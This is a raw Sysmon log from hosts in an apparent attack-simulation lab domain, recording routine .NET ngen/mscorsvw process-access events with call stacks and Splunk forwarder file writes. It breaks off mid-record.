14:43:54.440{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2A-613B-3A08-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.409{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2A-613B-3908-00000000F001}6352C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.393{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2A-613B-3908-00000000F001}6352C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:54.393{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2A-613B-3908-00000000F001}6352C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013782Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:54.640{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013784Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:55.750{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E91BCE314203695957E89A73BB69F415,SHA256=EA4EDFB3CF5B31064371831E62AB679744F3344147DE89196851D2179AD01C9F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.940{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-4508-00000000F001}5312C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.924{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-4508-00000000F001}5312C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.924{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-4508-00000000F001}5312C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.831{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-4408-00000000F001}4128C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.815{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-4408-00000000F001}4128C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.815{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-4408-00000000F001}4128C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.784{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-4308-00000000F001}6616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.753{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-4308-00000000F001}6616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.753{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-4308-00000000F001}6616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000039645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.659{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0FBB2B022F9DD1D634803CA5BDBE797D,SHA256=CF700AC414AAAB73E7906BD2DDFD57EECA85EC9BCAEEAF1F60156E4BC2AE33C6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.628{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-4208-00000000F001}2380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.612{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-4208-00000000F001}2380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.612{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-4208-00000000F001}2380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.581{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-4108-00000000F001}1372C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.565{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-4108-00000000F001}1372C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.565{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-4108-00000000F001}1372C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.534{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-4008-00000000F001}4120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.518{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-4008-00000000F001}4120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.518{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-4008-00000000F001}4120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Frame